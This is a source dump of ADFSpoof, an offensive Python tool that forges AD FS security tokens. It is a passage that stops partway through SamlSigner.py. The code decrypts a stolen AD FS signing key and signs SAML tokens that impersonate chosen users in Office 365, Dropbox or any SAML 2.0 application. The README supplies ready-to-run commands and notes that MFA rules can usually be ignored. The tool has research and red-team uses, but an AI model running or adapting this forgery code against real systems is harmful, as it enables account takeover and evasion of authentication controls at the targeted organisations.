├── .gitignore ├── ADFSpoof.py ├── EncryptedPfx.py ├── LICENSE ├── README.md ├── SamlSigner.py ├── microsoft_kbkdf.py ├── requirements.txt ├── templates ├── dropbox.xml ├── o365.xml └── saml2.xml └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | bin/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .coverage 43 | .coverage.* 44 | .cache 45 | nosetests.xml 46 | coverage.xml 47 | *.cover 48 | .hypothesis/ 49 | .pytest_cache/ 50 | 51 | # Translations 52 | *.mo 53 | *.pot 54 | 55 | # Django stuff: 56 | *.log 57 | local_settings.py 58 | db.sqlite3 59 | 60 | # Flask stuff: 61 | instance/ 62 | .webassets-cache 63 | 64 | # Scrapy stuff: 65 | .scrapy 66 | 67 | # Sphinx documentation 68 | docs/_build/ 69 | 70 | # PyBuilder 71 | target/ 72 | 73 | # Jupyter Notebook 74 | .ipynb_checkpoints 75 | 76 | # pyenv 77 | .python-version 78 | 79 | # celery beat schedule file 80 | celerybeat-schedule 81 | 82 | # SageMath parsed files 83 | *.sage.py 84 | 85 | # Environments 86 | .env 87 | .venv 88 | env/ 89 | venv/ 90 | ENV/ 91 | env.bak/ 92 | venv.bak/ 93 | 94 | # Spyder project settings 95 | .spyderproject 96 | .spyproject 97 | 98 | # Rope project settings 99 | .ropeproject 100 | 101 | # mkdocs documentation 102 | /site 103 | 104 | # mypy 105 | .mypy_cache/ 106 | -------------------------------------------------------------------------------- /ADFSpoof.py: -------------------------------------------------------------------------------- 1 | # POC for PFX 2 | from datetime import datetime, timedelta 3 | from argparse import ArgumentParser 4 | from utils import random_string, encode_object_guid, die, print_intro 5 | from EncryptedPfx import EncryptedPFX 6 | from SamlSigner import SAMLSigner 7 | from urllib import parse 8 | import sys 9 | import json 10 | import base64 11 | 12 | DEBUG = False 13 | 14 | 15 | def parse_args(): 16 | arg_parser = ArgumentParser() 17 | key_group = arg_parser.add_mutually_exclusive_group(required=True) 18 | key_group.add_argument('-b', '--blob', help='Encrypted PFX blob and decryption key', nargs=2) 19 | key_group.add_argument('-c', '--cert', help='AD FS Signing Certificate') 20 | arg_parser.add_argument('-p', '--password', help='AD FS Signing Certificate Password', default=None) 21 | arg_parser.add_argument('-v', '--verbose', help='Verbose Output', default=False) 22 | arg_parser.add_argument('--assertionid', help='AssertionID string. Defaults to a random string', default=random_string()) 23 | arg_parser.add_argument('--responseid', help='The Response ID. Defaults to random string', default=random_string()) 24 | arg_parser.add_argument('-s', '--server', help='Identifier for the federation service. Usually the fqdn of the server. e.g. sts.example.com DO NOT include HTTPS://') 25 | arg_parser.add_argument('-a', '--algorithm', help='SAML signing algorithm to use', default='rsa-sha256') 26 | arg_parser.add_argument('-d', '--digest', help='SAML digest algorithm to use', default='sha256') 27 | arg_parser.add_argument('-o', '--output', help='Write generated token to the supplied filepath') 28 | 29 | subparsers = arg_parser.add_subparsers( 30 | title='modules', 31 | description='loaded modules', 32 | help='additional help', 33 | dest='command' 34 | ) 35 | 36 | parser_office365 = subparsers.add_parser('o365') 37 | parser_office365.add_argument('--upn', help='Universal Principal Name of user to spoof', required=True) 38 | parser_office365.add_argument('--objectguid', help='Object GUID of user to spoof. You can get this from AD', required=True), 39 | 40 | parser_dropbox = subparsers.add_parser('dropbox') 41 | parser_dropbox.add_argument('--email', help='User email address', required=True) 42 | parser_dropbox.add_argument('--accountname', help='SAM Account Name', required=True) 43 | 44 | parser_generic_saml2 = subparsers.add_parser('saml2') 45 | parser_generic_saml2.add_argument('--endpoint', help='The destination/recipient attribute for SAML 2.0 token. Where the SAML token will be sent.', default=None) 46 | parser_generic_saml2.add_argument('--nameidformat', help='The format attribute for the NameIdentifier element', default=None) 47 | parser_generic_saml2.add_argument('--nameid', help='The NameIdentifier attribute value', default=None) 48 | parser_generic_saml2.add_argument('--rpidentifier', help='The Identifier for the Relying Party', default=None) 49 | parser_generic_saml2.add_argument('--assertions', help='The XML assertions for the SAML token', default=None) 50 | parser_generic_saml2.add_argument('--config', help='JSON file containing generic args', default=None) 51 | 52 | parser_dump = subparsers.add_parser('dump') 53 | parser_dump.add_argument('--path', help='Filepath where the signing token will be output.', default='token.pfx') 54 | 55 | args = arg_parser.parse_args() 56 | if args.verbose: 57 | global DEBUG 58 | DEBUG = True 59 | 60 | command = args.command 61 | if command != 'dump': 62 | if not args.server: 63 | sys.stderr.write("If generating a token you must supply the federation service identifier with --server.\n") 64 | die() 65 | 66 | elif command and command == 'saml2': 67 | saml_set = frozenset([args.endpoint, args.nameidformat, args.nameid, args.rpidentifier, args.assertions]) 68 | 69 | if not args.config and any([arg is None for arg in saml_set]): 70 | sys.stderr.write("If not using a config file you must specify all the other SAML 2.0 args. Quitting.\n") 71 | die() 72 | 73 | return args 74 | 75 | 76 | def get_signer(args): 77 | if args.cert: 78 | password = bytes(args.password, 'utf-8') 79 | with open(args.cert, 'rb') as infile: 80 | pfx = infile.read() 81 | signer = SAMLSigner(pfx, args.command, password=password) 82 | else: 83 | pfx = EncryptedPFX(args.blob[0], args.blob[1]) 84 | decrypted_pfx = pfx.decrypt_pfx() 85 | if args.command == 'dump': 86 | with open(args.path, 'wb') as pfx_file: 87 | pfx_file.write(decrypted_pfx) 88 | signer = None 89 | else: 90 | signer = SAMLSigner(decrypted_pfx, args.command) 91 | 92 | return signer 93 | 94 | 95 | def get_module_params(command): 96 | now = datetime.utcnow() 97 | hour = timedelta(hours=1) 98 | five_minutes = timedelta(minutes=5) 99 | second = timedelta(seconds=1) 100 | token_created = (now).strftime('%Y-%m-%dT%H:%M:%S.000Z') 101 | token_expires = (now + hour).strftime('%Y-%m-%dT%H:%M:%S.000Z') 102 | subject_confirmation_time = (now + five_minutes).strftime('%Y-%m-%dT%H:%M:%S.000Z') 103 | authn_instant = (now - second).strftime('%Y-%m-%dT%H:%M:%S.500Z') 104 | 105 | if command == 'o365': 106 | immutable_id = encode_object_guid(args.objectguid).decode('ascii') 107 | 108 | params = { 109 | 'TokenCreated': token_created, 110 | 'TokenExpires': token_expires, 111 | 'UPN': args.upn, 112 | 'NameIdentifier': immutable_id, 113 | 'AssertionID': args.assertionid, 114 | 'AdfsServer': args.server 115 | } 116 | name_identifier = "AssertionID" 117 | 118 | elif command == 'dropbox': 119 | params = { 120 | 'TokenCreated': token_created, 121 | 'TokenExpires': token_expires, 122 | 'EmailAddress': args.email, 123 | 'SamAccountName': args.accountname, 124 | 'AssertionID': args.assertionid, 125 | 'AdfsServer': args.server, 126 | 'SubjectConfirmationTime': subject_confirmation_time, 127 | 'ResponseID': args.responseid, 128 | 'AuthnInstant': authn_instant 129 | } 130 | name_identifier = "ID" 131 | 132 | elif command == 'saml2': 133 | params = { 134 | 'TokenCreated': token_created, 135 | 'TokenExpires': token_expires, 136 | 'AssertionID': args.assertionid, 137 | 'AdfsServer': args.server, 138 | 'SubjectConfirmationTime': subject_confirmation_time, 139 | 'ResponseID': args.responseid, 140 | 'AuthnInstant': authn_instant 141 | } 142 | 143 | if args.config: 144 | with open(args.config, 'r') as config_file: 145 | data = config_file.read() 146 | try: 147 | saml2_params = json.loads(data) 148 | except json.JSONDecodeError: 149 | sys.stderr.write("Could not parse JSON config file for SAML2 token creation. Quitting.\n") 150 | die() 151 | else: 152 | saml2_params = { 153 | 'SamlEndpoint': args.endpoint, 154 | 'NameIDFormat': args.nameidformat, 155 | 'NameID': args.nameid, 156 | 'RPIdentifier': args.rpidentifier, 157 | 'Assertions': args.assertions 158 | } 159 | params.update(saml2_params) 160 | name_identifier = "ID" 161 | 162 | return params, name_identifier 163 | 164 | 165 | def output_token(token, command): 166 | if command != 'o365': 167 | token = base64.b64encode(token) 168 | token = parse.quote(token) 169 | 170 | return token 171 | 172 | 173 | if __name__ == "__main__": 174 | print_intro() 175 | 176 | args = parse_args() 177 | 178 | signer = get_signer(args) 179 | 180 | if args.command != 'dump': 181 | params, id_attribute = get_module_params(args.command) 182 | 183 | token = signer.sign_XML(params, id_attribute, args.algorithm, args.digest) 184 | 185 | if args.output: 186 | with open(args.output, 'wb') as token_file: 187 | token_file.write(token) 188 | else: 189 | print(output_token(token, args.command)) 190 | -------------------------------------------------------------------------------- /EncryptedPfx.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 3 | from cryptography.hazmat.primitives import hashes, hmac 4 | from microsoft_kbkdf import ( 5 | CounterLocation, KBKDFHMAC, Mode, 6 | ) 7 | from pyasn1.type.univ import ObjectIdentifier, OctetString 8 | from pyasn1.codec.der.decoder import decode as der_decode 9 | from pyasn1.codec.der.encoder import encode 10 | from utils import die, new_guid 11 | import sys 12 | import struct 13 | 14 | 15 | class EncryptedPFX(): 16 | def __init__(self, blob_path, key_path, debug=False): 17 | self.pfx_path = blob_path 18 | self.DEBUG = debug 19 | with open(key_path, 'rb') as infile: 20 | self.decryption_key = infile.read() 21 | with open(self.pfx_path, 'rb') as infile: 22 | self._raw = infile.read() 23 | self.decode() 24 | 25 | def decrypt_pfx(self): 26 | self._derive_keys(self.decryption_key) 27 | self._verify_ciphertext() 28 | 29 | backend = default_backend() 30 | iv = self.iv.asOctets() 31 | cipher = Cipher(algorithms.AES(self.encryption_key), modes.CBC(iv), backend=backend) 32 | decryptor = cipher.decryptor() 33 | plain_pfx = decryptor.update(self.ciphertext) + decryptor.finalize() 34 | 35 | if self.DEBUG: 36 | sys.stderr.write("Decrypted PFX: {0}\n".format(plain_pfx)) 37 | return plain_pfx 38 | 39 | def _verify_ciphertext(self): 40 | backend = default_backend() 41 | h = hmac.HMAC(self.mac_key, hashes.SHA256(), backend=backend) 42 | stream = self.iv.asOctets() + self.ciphertext 43 | h.update(stream) 44 | mac_code = h.finalize() 45 | 46 | if mac_code != self.mac: 47 | sys.stderr.write("Calculated MAC did not match anticipated MAC\n") 48 | sys.stderr.write("Calculated MAC: {0}\n".format(mac_code)) 49 | sys.stderr.write("Expected MAC: {0}\n".format(self.mac)) 50 | die() 51 | if self.DEBUG: 52 | sys.stderr.write("MAC Calculated over IV and Ciphertext: {0}\n".format(mac_code)) 53 | 54 | def _derive_keys(self, password=None): 55 | label = encode(self.encryption_oid) + encode(self.mac_oid) 56 | context = self.nonce.asOctets() 57 | backend = default_backend() 58 | 59 | kdf = KBKDFHMAC( 60 | algorithm=hashes.SHA256(), 61 | mode=Mode.CounterMode, 62 | length=48, 63 | rlen=4, 64 | llen=4, 65 | location=CounterLocation.BeforeFixed, 66 | label=label, 67 | context=context, 68 | fixed=None, 69 | backend=backend 70 | ) 71 | 72 | key = kdf.derive(password) 73 | if self.DEBUG: 74 | sys.stderr.write("Derived key: {0}\n".format(key)) 75 | 76 | self.encryption_key = key[0:16] 77 | self.mac_key = key[16:] 78 | 79 | def _decode_octet_string(self, remains=None): 80 | if remains: 81 | buff = remains 82 | else: 83 | buff = self._raw[8:] 84 | octet_string, remains = der_decode(buff, OctetString()) 85 | 86 | return octet_string, remains 87 | 88 | def _decode_length(self, buff): 89 | bytes_read = 1 90 | length_initial = buff[0] 91 | if length_initial < 127: 92 | length = length_initial 93 | 94 | else: 95 | length_initial &= 127 96 | input_arr = [] 97 | for x in range(0, length_initial): 98 | input_arr.append(buff[x + 1]) 99 | bytes_read += 1 100 | length = input_arr[0] 101 | for x in range(1, length_initial): 102 | length = input_arr[x] + (length << 8) 103 | 104 | if self.DEBUG: 105 | sys.stderr.write("Decoded length: {0}\n".format(length)) 106 | return length, buff[bytes_read:] 107 | 108 | def _decode_groupkey(self): 109 | octet_stream, remains = self._decode_octet_string() 110 | 111 | guid = new_guid(octet_stream) 112 | 113 | if self.DEBUG: 114 | sys.stderr.write("Decoded GroupKey GUID {0}\n".format(guid)) 115 | return guid, remains 116 | 117 | def _decode_authencrypt(self, buff): 118 | _, remains = der_decode(buff, ObjectIdentifier()) 119 | mac_oid, remains = der_decode(remains, ObjectIdentifier()) 120 | encryption_oid, remains = der_decode(remains, ObjectIdentifier()) 121 | 122 | if self.DEBUG: 123 | sys.stderr.write("Decoded Algorithm OIDS\n Encryption Algorithm OID: {0}\n MAC Algorithm OID: {1}\n".format(encryption_oid, mac_oid)) 124 | return encryption_oid, mac_oid, remains 125 | 126 | def decode(self): 127 | version = struct.unpack('>I', self._raw[0:4])[0] 128 | 129 | if version != 1: 130 | sys.stderr.write("Version should be 1 .\n") 131 | die() 132 | 133 | method = struct.unpack('>I', self._raw[4:8])[0] 134 | 135 | if method != 0: 136 | sys.stderr.write("Not using EncryptThenMAC. Currently only EncryptThenMAC is supported.") 137 | die() 138 | 139 | self.guid, remains = self._decode_groupkey() 140 | 141 | self.encryption_oid, self.mac_oid, remains = self._decode_authencrypt(remains) 142 | 143 | self.nonce, remains = self._decode_octet_string(remains) 144 | 145 | if self.DEBUG: 146 | sys.stderr.write("Decoded nonce: {0}\n".format(self.nonce.asOctets())) 147 | 148 | self.iv, remains = self._decode_octet_string(remains) 149 | 150 | if self.DEBUG: 151 | sys.stderr.write("Decoded IV: {0}\n".format(self.iv.asOctets())) 152 | 153 | self.mac_length, remains = self._decode_length(remains) 154 | 155 | if self.DEBUG: 156 | sys.stderr.write("Decoded MAC length: {0}\n".format(self.mac_length)) 157 | 158 | self.ciphertext_length, remains = self._decode_length(remains) 159 | 160 | if self.DEBUG: 161 | sys.stderr.write("Decoded Ciphertext length: {0}\n".format(self.ciphertext_length)) 162 | 163 | self.ciphertext = remains[:self.ciphertext_length - self.mac_length] 164 | 165 | if self.DEBUG: 166 | sys.stderr.write("Decoded Ciphertext: {0}\n".format(self.ciphertext)) 167 | 168 | self.mac = remains[self.ciphertext_length - self.mac_length:] 169 | 170 | if self.DEBUG: 171 | sys.stderr.write("Decoded MAC: {0}\n".format(self.mac)) 172 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ADFSpoof 2 | 3 | A python tool to forge AD FS security tokens. 4 | 5 | Created by Doug Bienstock [(@doughsec)](https://twitter.com/doughsec) while at Mandiant FireEye. 6 | 7 | ## Detailed Description 8 | 9 | ADFSpoof has two main functions: 10 | 1. Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing. 11 | 2. Given a signing key, produce a signed security token that can be used to access a federated application. 12 | 13 | This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS server and outputs important information that you will need to use ADFSpoof. 14 | 15 | If you are confused by the above, you might want to read up on AD FS first. For more information on AD FS spoofing I will post a link to my TROOPERS 19 talk and slides when they are released. 16 | 17 | ## Installation 18 | 19 | ADFSpoof is written in Python 3. 20 | 21 | ~~ADFSpoof requires the installation of a custom fork of the Python Cryptography package, available [here](https://github.com/dmb2168/cryptography). Microsoft did not exactly follow the RFC for Key Deriviation :wink:, so a fork of the package was needed.~~ The modified key derivation function has been ported to work with the newer versions of cryptography lib. 22 | 23 | All requirements are captured in the repo's requirements.txt. 24 | 25 | `pip install -r requirements.txt` 26 | 27 | ## Usage 28 | 29 | ``` 30 | usage: ADFSpoof.py [-h] (-b BLOB BLOB | -c CERT) [-p PASSWORD] [-v VERBOSE] 31 | [--assertionid ASSERTIONID] [--responseid RESPONSEID] 32 | [-s SERVER] [-a ALGORITHM] [-d DIGEST] [-o OUTPUT] 33 | {o365,dropbox,saml2,dump} ... 34 | 35 | optional arguments: 36 | -h, --help show this help message and exit 37 | -b BLOB BLOB, --blob BLOB BLOB 38 | Encrypted PFX blob and decryption key 39 | -c CERT, --cert CERT AD FS Signing Certificate 40 | -p PASSWORD, --password PASSWORD 41 | AD FS Signing Certificate Password 42 | -v VERBOSE, --verbose VERBOSE 43 | Verbose Output 44 | --assertionid ASSERTIONID 45 | AssertionID string. Defaults to a random string 46 | --responseid RESPONSEID 47 | The Response ID. Defaults to random string 48 | -s SERVER, --server SERVER 49 | Identifier for the federation service. Usually the 50 | fqdn of the server. e.g. sts.example.com DO NOT 51 | include HTTPS:// 52 | -a ALGORITHM, --algorithm ALGORITHM 53 | SAML signing algorithm to use 54 | -d DIGEST, --digest DIGEST 55 | SAML digest algorithm to use 56 | -o OUTPUT, --output OUTPUT 57 | Write generated token to the supplied filepath 58 | 59 | modules: 60 | loaded modules 61 | 62 | {o365,dropbox,saml2,dump} 63 | additional help 64 | ``` 65 | ### Cryptographic Material 66 | 67 | All ADFSpoof functionality requires cryptographic material for the AD FS signing key. This can be supplied in one of two ways: 68 | 69 | * `-b BLOB BLOB`: Supply the EncryptedPFX binary blob (base64 decode what is pulled out of the configuration database) and the DKM key from Active directory. Order matters! 70 | * `-c CERT`: Provide a PKCS12-formatted file for the signing key and certificate. If it is password protected supply a password with `-p`. The overall file password and private key password must be the same. 71 | 72 | 73 | ### Global Options 74 | 75 | * `-s SERVER`: The AD FS service identifier. Required when using any module that generates a security token. This goes into the security token to let the federated application know who generated it. 76 | * `-o FILEPATH`: Outputs the generated token to disk instead of printing it. 77 | * `--assertionid` and `--responseid`: If you wish to supply custom attribute values for SAML AssertionID and ResponseID. Defaults to random strings. 78 | * `-d DIGEST`: Set the MAC digest algorithm. Defaults to SHA256. 79 | * `-a ALGORITHM`: Set the signature algorithm. Defaults to RSA-SHA256. 80 | 81 | 82 | ### Command Modules 83 | 84 | ADFSpoof is built modularly with easy expansion in mind. Currently, it comes preloaded with four command modules that support different functionality. 85 | 86 | Each module encapsulates the SAML attributes and values necessary to generate a valid security token for a specific token type or federated application. *Note that for the applications specific modules, the template represents the generic installation. Customization may be required for organizations that have messed with the defaults.* 87 | 88 | #### o365 89 | 90 | Generates a forged security token to access Microsoft Office 365. This is a SAML 1.1 token. 91 | 92 | * `--upn UPN`: The universal principal name of the user to generate a token for. Get this from AD. 93 | * `--objectguid`: The Object GUID of the user to generate a token for. Get this from AD. Include the curly braces. 94 | 95 | #### Dropbox 96 | 97 | Generats a forged security token to access Dropbox. This is a SAML 2.0 token. 98 | 99 | * `--email EMAIL`: The email address of the user to generate a token for. 100 | * `--accountname ACCOUNT`: The SamAccountName of the user to generate a token for. 101 | 102 | #### SAML2 103 | 104 | A command that encapsulates generating a generic SAML 2.0 security token. Use this module to generate security tokens for arbitrary federated applications that are using SAML 2.0. By reading the data returned by ADFSDump you should be able to generate a valid token for just about any federated application using this module. 105 | 106 | * `--endpoint ENDPOINT`: The recipient of the seucrity token. This should be a full URL. 107 | * `--nameidformat URN`: The value for the 'Format' attribute of the NameIdentifier tag. This should be a URN. 108 | * `--nameid NAMEID`: The NameIdentifier attribute value. 109 | * `--rpidentifier IDENTIFIER`: The Identifier of the relying party that is receiving the token. 110 | * `--assertions ASSERTIONS`: The assertions that the relying party is expecting. Use the claim rules output by ADFSDump to ascertain this. Should be a single-line (do not include newlines) XML string. 111 | * `--config FILEPATH`: A filepath to a JSON file containing the above arguments. Optional - use this if you don't want to supply everything over the command line. 112 | 113 | #### Dump 114 | 115 | Helper command that will take the supplied EncryptedPFX blob and DKM key from `-b`, decrypt the blob, and output the PFX file to disk. Use this to save the PFX for later. 116 | 117 | `--path PATH`: The filepath to save the generated PFX. 118 | 119 | ### Examples 120 | 121 | #### Decrypt the EncryptedPFX and write to disk 122 | `python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump` 123 | 124 | #### Generate a security token for Office365 125 | 126 | `python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn robin@doughcorp.co --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759}` 127 | 128 | #### Generate a SAML 2.0 token for some app 129 | 130 | `python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com saml2 --endpoint https://my.app.com/access/saml --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress --nameid robin@doughcorp.com --rpidentifier myapp --assertions robin@doughcorp.com` 131 | 132 | ### Reading Issuance Authorization Rules 133 | 134 | More coming soon! As a tl;dr for SAML 2.0 each issuance rule (with the exception of the nameid rule) is going to be translated into a SAML assertion. SAML assertions are tags. The Attribute tag must have an attribute called "Name" that value of which is the claim type. The claim value goes inside the tags. 135 | 136 | There is a little more nuance which I hope to discuss in a wiki page soon, but that is the basic idea. Relying Parties may have "StrongAuth" rules and MFA requirements, but usually we don't care about those. 137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /SamlSigner.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.serialization import pkcs12 2 | import string 3 | from lxml import etree 4 | from signxml import XMLSigner 5 | from cryptography.hazmat.backends import default_backend 6 | import re 7 | 8 | 9 | class SAMLSigner(): 10 | def __init__(self, data, template=None, password=None): 11 | self.key, self.cert = self.load_pkcs12(data, password) 12 | with open("templates/{0}.xml".format(template), 'r') as infile: 13 | self.saml_template = infile.read() 14 | 15 | def load_pkcs12(self, data, password): 16 | cert = pkcs12.load_key_and_certificates(data, password, default_backend()) 17 | return cert[0], cert[1] 18 | 19 | def sign_XML(self, params, id_attribute, algorithm, digest): 20 | saml_string = string.Template(self.saml_template).substitute(params) 21 